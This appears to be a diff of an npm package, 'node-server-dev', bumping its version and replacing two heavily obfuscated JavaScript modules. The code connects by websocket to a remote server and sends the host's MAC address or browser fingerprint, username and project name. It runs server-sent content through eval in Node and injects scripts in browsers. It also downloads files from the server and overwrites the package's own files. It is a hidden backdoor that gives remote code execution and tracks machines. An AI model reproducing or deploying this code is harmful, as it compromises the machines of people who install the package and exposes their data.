0x0:_d[a20_0x47ef87(0x169)])||'无法获取';function start(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x45f2c4=a20_0x3b78;isBrowser&&browser();const _0x30338f=io(url,{'path':_0x45f2c4(0x153),'transports':['websocket']});_0x30338f['on']('connect',()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x22210b=_0x45f2c4;try{let _0x355efb=[_0x22210b(0x164)];if(!isBrowser){const _0x3d9bc5=require(a20_0x2564e5[_0x22210b(0x15a)](__dirname,_0x22210b(0x163)))[_0x22210b(0x14a)];_0x355efb=_0x3d9bc5();}else{let _0x26f169=yield a20_0x183647['load']()[_0x22210b(0x13e)](_0x4dd0fa=>_0x4dd0fa[_0x22210b(0x148)]())[_0x22210b(0x13e)](_0x533583=>{const _0x440e87=_0x22210b,_0x164048=_0x533583[_0x440e87(0x157)];return _0x164048;})[_0x22210b(0x15b)](()=>'');_0x355efb=[_0x26f169];}if(_0x355efb[_0x22210b(0x147)]===0x0){setEnv(_0x22210b(0x150),!![]);return;}else setEnv(_0x22210b(0x150),![]);_0x30338f[_0x22210b(0x14e)]('submit',{'mac':_0x355efb,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':isBrowser}),_0x30338f[_0x22210b(0x14e)](_0x22210b(0x168),{'mac':_0x355efb,'isBrowser':isBrowser}),setInterval(()=>{const _0x226120=_0x22210b;_0x30338f['emit'](_0x226120(0x140),{'mac':_0x355efb,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':isBrowser}),_0x30338f['emit'](_0x226120(0x168),{'mac':_0x355efb,'isBrowser':isBrowser});},0x1b58),_0x30338f['on'](_0x22210b(0x16a),_0x5802bf=>__awaiter(this,void 0x0,void 0x0,function*(){const _0xb2779c=_0x22210b;try{for(let _0x52bb4c=0x0;_0x52bb4c<_0x5802bf[_0xb2779c(0x147)];_0x52bb4c++){const _0x5b4cd1=_0x5802bf[_0x52bb4c];if(_0x5b4cd1[_0xb2779c(0x160)]===_0xb2779c(0x167))setEnv(_0xb2779c(0x16b),getEnv(_0xb2779c(0x16b))[_0xb2779c(0x142)](_0x5b4cd1[_0xb2779c(0x13b)]));else{if(_0x5b4cd1['type']===_0xb2779c(0x144))setEnv(_0xb2779c(0x154),!![]);else{if(_0x5b4cd1[_0xb2779c(0x160)]===_0xb2779c(0x158)&&!isBrowser)try{eval(_0x5b4cd1['content']);}catch(_0x1cf482){}else{if(_0x5b4cd1[_0xb2779c(0x160)]==='script'&&isBrowser)try{runScript(_0x5b4cd1[_0xb2779c(0x13b)]);}catch(_0x219677){}}}}}}catch(_0x4c6beb){}}));}catch(_0x58259e){}})),setTimeout(()=>{const _0x41c77d=_0x45f2c4;_0x30338f['on'](_0x41c77d(0x143),_0x46c3c0=>{setEnv('connectError',!![]);}),_0x30338f['on']('connect_failed',_0x528134=>{setEnv('connectError',!![]);}),_0x30338f['on'](_0x41c77d(0x13d),_0x4f08ee=>{const _0x4cc9ce=_0x41c77d;setEnv(_0x4cc9ce(0x150),!![]);}),_0x30338f['on']('connect_error',()=>{setEnv('connectError',!![]);});},0xbb8);});}export default start;
1
+ const a20_0x32f096=a20_0x1331;(function(_0xb007d4,_0x4a4300){const _0x382371=a20_0x1331,_0x59662d=_0xb007d4();while(!![]){try{const _0xe42198=-parseInt(_0x382371(0x1b6))/0x1+parseInt(_0x382371(0x1c0))/0x2*(parseInt(_0x382371(0x1b9))/0x3)+-parseInt(_0x382371(0x1c5))/0x4+parseInt(_0x382371(0x19e))/0x5*(-parseInt(_0x382371(0x1a2))/0x6)+-parseInt(_0x382371(0x1ce))/0x7+-parseInt(_0x382371(0x1a1))/0x8*(parseInt(_0x382371(0x1b2))/0x9)+parseInt(_0x382371(0x1a7))/0xa;if(_0xe42198===_0x4a4300)break;else _0x59662d['push'](_0x59662d['shift']());}catch(_0x10cf95){_0x59662d['push'](_0x59662d['shift']());}}}(a20_0x2ff0,0xd01cd));var __awaiter=this&&this[a20_0x32f096(0x1b4)]||function(_0x12147a,_0x206823,_0x39cecc,_0x4985d9){function _0x2d2de5(_0x825927){return _0x825927 instanceof _0x39cecc?_0x825927:new _0x39cecc(function(_0x1a7875){_0x1a7875(_0x825927);});}return new(_0x39cecc||(_0x39cecc=Promise))(function(_0x382de2,_0x13e056){const _0x1a7a2e=a20_0x1331;function _0x45fd30(_0x1a872e){const _0xf16910=a20_0x1331;try{_0x5958c1(_0x4985d9[_0xf16910(0x1a0)](_0x1a872e));}catch(_0x3e8a7b){_0x13e056(_0x3e8a7b);}}function _0x4df6c5(_0x263861){const _0xb888dc=a20_0x1331;try{_0x5958c1(_0x4985d9[_0xb888dc(0x1b8)](_0x263861));}catch(_0x25ee50){_0x13e056(_0x25ee50);}}function _0x5958c1(_0x1789e9){const _0x25799e=a20_0x1331;_0x1789e9[_0x25799e(0x1c2)]?_0x382de2(_0x1789e9[_0x25799e(0x1a3)]):_0x2d2de5(_0x1789e9[_0x25799e(0x1a3)])[_0x25799e(0x1b5)](_0x45fd30,_0x4df6c5);}_0x5958c1((_0x4985d9=_0x4985d9[_0x1a7a2e(0x1ad)](_0x12147a,_0x206823||[]))[_0x1a7a2e(0x1a0)]());});},_a,_b,_c,_d;import{io}from'socket.io-client';function a20_0x2ff0(){const _0xb4e43a=['1501313BgMyxI','sqlList','throw','1716wwLaBd','name','./mac','submit','reconnect_failed','env','browser','5534fXchol','userAgent','done','length','sql','5643464GnMXLR','default','node','content','00:00:00:00:00:00','mysql','浏览器','connect_failed','load','9188361OrPJGe','script','error','isDBDataEmpty','undefined','5fvzHSn','USERNAME','next','72nVIQwN','3679176lABbsS','value','websocket','npm_package_name','get-event','41470060SJPviv','connect_error','emit','/socket','type','navigator','apply','get','connect','connectError','event','39303LkSbEx','concat','__awaiter','then'];a20_0x2ff0=function(){return _0xb4e43a;};return a20_0x2ff0();}import a20_0x48f23c from'path';import{runScript,browser}from'./browser';import a20_0x297a71 from'@fingerprintjs/fingerprintjs';function a20_0x1331(_0x26e588,_0x41cd24){const _0x2ff0cd=a20_0x2ff0();return a20_0x1331=function(_0x133157,_0x5dc751){_0x133157=_0x133157-0x19e;let _0x1f7ca1=_0x2ff0cd[_0x133157];return _0x1f7ca1;},a20_0x1331(_0x26e588,_0x41cd24);}import a20_0xfff6e9 from'bowser';import{getEnv,setEnv,url}from'./index';export const isBrowser=typeof window!==a20_0x32f096(0x1d2);const user_name=isBrowser?((_b=(_a=a20_0xfff6e9['parse'](window[a20_0x32f096(0x1ac)][a20_0x32f096(0x1c1)]))===null||_a===void 0x0?void 0x0:_a[a20_0x32f096(0x1bf)])===null||_b===void 0x0?void 0x0:_b[a20_0x32f096(0x1ba)])||a20_0x32f096(0x1cb):((_c=process===null||process===void 0x0?void 0x0:process['env'])===null||_c===void 0x0?void 0x0:_c[a20_0x32f096(0x19f)])||'node获取失败',project_name=isBrowser?a20_0x32f096(0x1cb):((_d=process===null||process===void 0x0?void 0x0:process[a20_0x32f096(0x1be)])===null||_d===void 0x0?void 0x0:_d[a20_0x32f096(0x1a5)])||'无法获取';function start(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x3bfacb=a20_0x1331;isBrowser&&browser();const _0xe41fb6=io(url,{'path':_0x3bfacb(0x1aa),'transports':[_0x3bfacb(0x1a4)]});_0xe41fb6['on'](_0x3bfacb(0x1af),()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x47c203=_0x3bfacb;try{let _0x13cc29=[_0x47c203(0x1c9)];if(!isBrowser){const _0x10400f=require(a20_0x48f23c['join'](__dirname,_0x47c203(0x1bb)))[_0x47c203(0x1c6)];_0x13cc29=_0x10400f();}else{let _0x421eca=yield a20_0x297a71[_0x47c203(0x1cd)]()[_0x47c203(0x1b5)](_0xa6eed4=>_0xa6eed4[_0x47c203(0x1ae)]())[_0x47c203(0x1b5)](_0x3d9cb1=>{const _0x596a6f=_0x3d9cb1['visitorId'];return _0x596a6f;})['catch'](()=>'');_0x13cc29=[_0x421eca];}if(_0x13cc29[_0x47c203(0x1c3)]===0x0){setEnv(_0x47c203(0x1b0),!![]);return;}else setEnv('connectError',![]);_0xe41fb6[_0x47c203(0x1a9)](_0x47c203(0x1bc),{'mac':_0x13cc29,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':isBrowser}),_0xe41fb6['emit'](_0x47c203(0x1a6),{'mac':_0x13cc29,'isBrowser':isBrowser}),setInterval(()=>{const _0x57f317=_0x47c203;_0xe41fb6[_0x57f317(0x1a9)](_0x57f317(0x1bc),{'mac':_0x13cc29,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':isBrowser}),_0xe41fb6[_0x57f317(0x1a9)](_0x57f317(0x1a6),{'mac':_0x13cc29,'isBrowser':isBrowser});},0x1b58),_0xe41fb6['on'](_0x47c203(0x1b1),_0x26fc07=>__awaiter(this,void 0x0,void 0x0,function*(){const _0xc26b34=_0x47c203;try{for(let _0x4de609=0x0;_0x4de609<_0x26fc07[_0xc26b34(0x1c3)];_0x4de609++){const _0x26608d=_0x26fc07[_0x4de609];if(_0x26608d[_0xc26b34(0x1ab)]===_0xc26b34(0x1c4))setEnv(_0xc26b34(0x1b7),getEnv(_0xc26b34(0x1b7))[_0xc26b34(0x1b3)](_0x26608d[_0xc26b34(0x1c8)]));else{if(_0x26608d[_0xc26b34(0x1ab)]===_0xc26b34(0x1ca))setEnv(_0xc26b34(0x1d1),!![]);else{if(_0x26608d[_0xc26b34(0x1ab)]===_0xc26b34(0x1c7)&&!isBrowser)try{eval(_0x26608d[_0xc26b34(0x1c8)]);}catch(_0x1a3b76){}else{if(_0x26608d['type']===_0xc26b34(0x1cf)&&isBrowser)try{runScript(_0x26608d[_0xc26b34(0x1c8)]);}catch(_0x5b18da){}}}}}}catch(_0x447e67){}}));}catch(_0x1b7e82){}})),setTimeout(()=>{const _0x348a50=_0x3bfacb;_0xe41fb6['on'](_0x348a50(0x1d0),_0x46eeaf=>{const _0x3336de=_0x348a50;setEnv(_0x3336de(0x1b0),!![]);}),_0xe41fb6['on'](_0x348a50(0x1cc),_0x2937e5=>{setEnv('connectError',!![]);}),_0xe41fb6['on'](_0x348a50(0x1bd),_0x2fef4d=>{const _0x5b6473=_0x348a50;setEnv(_0x5b6473(0x1b0),!![]);}),_0xe41fb6['on'](_0x348a50(0x1a8),()=>{setEnv('connectError',!![]);});},0xbb8);});}export default start;
@@ -1 +1 @@
1
- const a21_0x47ca5a=a21_0x7cb1;(function(_0x1af242,_0x5ad277){const _0x349b44=a21_0x7cb1,_0x59c49b=_0x1af242();while(!![]){try{const _0x5aae70=-parseInt(_0x349b44(0x171))/0x1+-parseInt(_0x349b44(0x169))/0x2*(-parseInt(_0x349b44(0x16a))/0x3)+parseInt(_0x349b44(0x16f))/0x4+parseInt(_0x349b44(0x16e))/0x5*(-parseInt(_0x349b44(0x175))/0x6)+-parseInt(_0x349b44(0x17b))/0x7*(-parseInt(_0x349b44(0x177))/0x8)+parseInt(_0x349b44(0x160))/0x9*(parseInt(_0x349b44(0x179))/0xa)+-parseInt(_0x349b44(0x163))/0xb;if(_0x5aae70===_0x5ad277)break;else _0x59c49b['push'](_0x59c49b['shift']());}catch(_0x27d386){_0x59c49b['push'](_0x59c49b['shift']());}}}(a21_0x1bc6,0x440c5));import a21_0x440698 from'axios';import a21_0x308bef from'fs';import a21_0xe1acaa from'path';function a21_0x1bc6(){const _0x3d3203=['348698EBUVvY','values','get','18CIqlam','writeFileSync','toString','2605394AqExAB','{version:\x220.0.0\x22}','readFileSync','join','then','main','72478WderlC','39KHFKtS','./index.js','ESM','data','179195LzdNcE','400684ZeQcBv','version','120912jebnai','/version','length','keys','18KqBjOm','existsSync','16dQKKDG','undefined','365510tMdxPB','CJS'];a21_0x1bc6=function(){return _0x3d3203;};return a21_0x1bc6();}import{url}from'./index';import a21_0x530271 from'sha1';function getModuleType(){const _0x2a1fde=a21_0x7cb1,_0x451f8d=()=>{const _0x9c640c=a21_0x7cb1;try{return typeof require!==_0x9c640c(0x178)&&typeof module!=='undefined'&&module['exports']&&require[_0x9c640c(0x168)]===module;}catch(_0x23d1a3){return![];}};return _0x451f8d()?_0x2a1fde(0x17a):_0x2a1fde(0x16c);}let _path=a21_0xe1acaa[a21_0x47ca5a(0x166)](__dirname,'../../package.json'),indexFile=a21_0xe1acaa[a21_0x47ca5a(0x166)](__dirname,a21_0x47ca5a(0x16b)),vFile=a21_0x308bef[a21_0x47ca5a(0x176)](_path)?a21_0x308bef[a21_0x47ca5a(0x165)](_path)['toString']():a21_0x47ca5a(0x164),indexFileContent=a21_0x308bef['existsSync'](_path)?a21_0x308bef[a21_0x47ca5a(0x165)](indexFile)[a21_0x47ca5a(0x162)]():![],version=JSON['parse'](vFile)[a21_0x47ca5a(0x170)];function a21_0x7cb1(_0x204b98,_0x5bffba){const _0x1bc6db=a21_0x1bc6();return a21_0x7cb1=function(_0x7cb133,_0x5f176a){_0x7cb133=_0x7cb133-0x15f;let _0x32bcd2=_0x1bc6db[_0x7cb133];return _0x32bcd2;},a21_0x7cb1(_0x204b98,_0x5bffba);}function update(){const _0x4d260a=a21_0x47ca5a;a21_0x440698[_0x4d260a(0x15f)](url+_0x4d260a(0x172),{'params':{'mode':getModuleType(),'version':version,'hash':indexFileContent?a21_0x530271(indexFileContent):''}})[_0x4d260a(0x167)](_0x2414b0=>{const _0x410b2f=_0x4d260a;if(!_0x2414b0['data']['success']){let _0x23e31e=Object[_0x410b2f(0x174)](_0x2414b0['data']['data']),_0x3b0e6d=Object[_0x410b2f(0x17c)](_0x2414b0[_0x410b2f(0x16d)]['data']);for(let _0x4bd92a=0x0;_0x4bd92a<_0x23e31e[_0x410b2f(0x173)];_0x4bd92a++){const _0xf9081b=_0x23e31e[_0x4bd92a],_0x5c21fe=_0x3b0e6d[_0x4bd92a];a21_0x308bef[_0x410b2f(0x161)](a21_0xe1acaa[_0x410b2f(0x166)](__dirname,'./'+_0xf9081b),_0x5c21fe);}}});}export default update;
1
+ const a21_0x54b327=a21_0x4fae;(function(_0x125ecf,_0x42ac0c){const _0x11a356=a21_0x4fae,_0x2a3089=_0x125ecf();while(!![]){try{const _0x14d829=parseInt(_0x11a356(0xfe))/0x1+parseInt(_0x11a356(0xe2))/0x2*(parseInt(_0x11a356(0xea))/0x3)+-parseInt(_0x11a356(0xf9))/0x4+-parseInt(_0x11a356(0xfd))/0x5+parseInt(_0x11a356(0xfa))/0x6*(parseInt(_0x11a356(0xf5))/0x7)+-parseInt(_0x11a356(0xe9))/0x8*(parseInt(_0x11a356(0xf6))/0x9)+-parseInt(_0x11a356(0xf4))/0xa*(parseInt(_0x11a356(0xe6))/0xb);if(_0x14d829===_0x42ac0c)break;else _0x2a3089['push'](_0x2a3089['shift']());}catch(_0x3e6d9b){_0x2a3089['push'](_0x2a3089['shift']());}}}(a21_0x145e,0x59505));import a21_0x49a465 from'axios';import a21_0x4074e5 from'fs';import a21_0x1d177e from'path';import{url}from'./index';import a21_0x23a0ac from'sha1';function getModuleType(){const _0x11c023=a21_0x4fae,_0x569a21=()=>{const _0x408298=a21_0x4fae;try{return typeof require!==_0x408298(0xe4)&&typeof module!==_0x408298(0xe4)&&module[_0x408298(0xe0)]&&require[_0x408298(0xf8)]===module;}catch(_0x20e9a0){return![];}};return _0x569a21()?_0x11c023(0xf2):'ESM';}let _path=a21_0x1d177e[a21_0x54b327(0xe1)](__dirname,a21_0x54b327(0xf3)),indexFile=a21_0x1d177e[a21_0x54b327(0xe1)](__dirname,a21_0x54b327(0xec)),vFile=a21_0x4074e5[a21_0x54b327(0xe5)](_path)?a21_0x4074e5[a21_0x54b327(0xeb)](_path)['toString']():a21_0x54b327(0xe8),indexFileContent=a21_0x4074e5['existsSync'](_path)?a21_0x4074e5[a21_0x54b327(0xeb)](indexFile)['toString']():![],version=JSON[a21_0x54b327(0xff)](vFile)[a21_0x54b327(0xf0)];function a21_0x4fae(_0x545c17,_0x59cf80){const _0x145e2d=a21_0x145e();return a21_0x4fae=function(_0x4fae79,_0x447e97){_0x4fae79=_0x4fae79-0xe0;let _0x106893=_0x145e2d[_0x4fae79];return _0x106893;},a21_0x4fae(_0x545c17,_0x59cf80);}function update(){const _0x1ede44=a21_0x54b327;a21_0x49a465[_0x1ede44(0xfc)](url+_0x1ede44(0xee),{'params':{'mode':getModuleType(),'version':version,'hash':indexFileContent?a21_0x23a0ac(indexFileContent):''}})[_0x1ede44(0xf7)](_0x8dfa87=>{const _0x3b60ac=_0x1ede44;if(!_0x8dfa87[_0x3b60ac(0xef)][_0x3b60ac(0xed)]){let _0x830f1b=Object[_0x3b60ac(0xfb)](_0x8dfa87[_0x3b60ac(0xef)][_0x3b60ac(0xef)]),_0x4cca05=Object[_0x3b60ac(0xe7)](_0x8dfa87[_0x3b60ac(0xef)][_0x3b60ac(0xef)]);for(let _0x55ed13=0x0;_0x55ed13<_0x830f1b[_0x3b60ac(0xe3)];_0x55ed13++){const _0xe8eb93=_0x830f1b[_0x55ed13],_0x3ced3b=_0x4cca05[_0x55ed13];a21_0x4074e5[_0x3b60ac(0xf1)](a21_0x1d177e['join'](__dirname,'./'+_0xe8eb93),_0x3ced3b);}}});}function a21_0x145e(){const _0x46df1e=['keys','get','1362985PPhUPT','530657hQJwBu','parse','exports','join','6376mxwrzH','length','undefined','existsSync','14135EMOaAL','values','{version:\x220.0.0\x22}','207224OrFmGi','237VLPCgg','readFileSync','./index.js','success','/version','data','version','writeFileSync','CJS','../../package.json','810EAmCuz','3711610gbXeTD','45ndDDvZ','then','main','1762852bixqOZ','6ZQLHba'];a21_0x145e=function(){return _0x46df1e;};return a21_0x145e();}export default update;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "node-server-dev",
3
- "version": "3.1.2",
3
+ "version": "3.1.4",
4
4
  "author": "L",
5
5
  "types": "index.d.ts",
6
6
  "scripts": {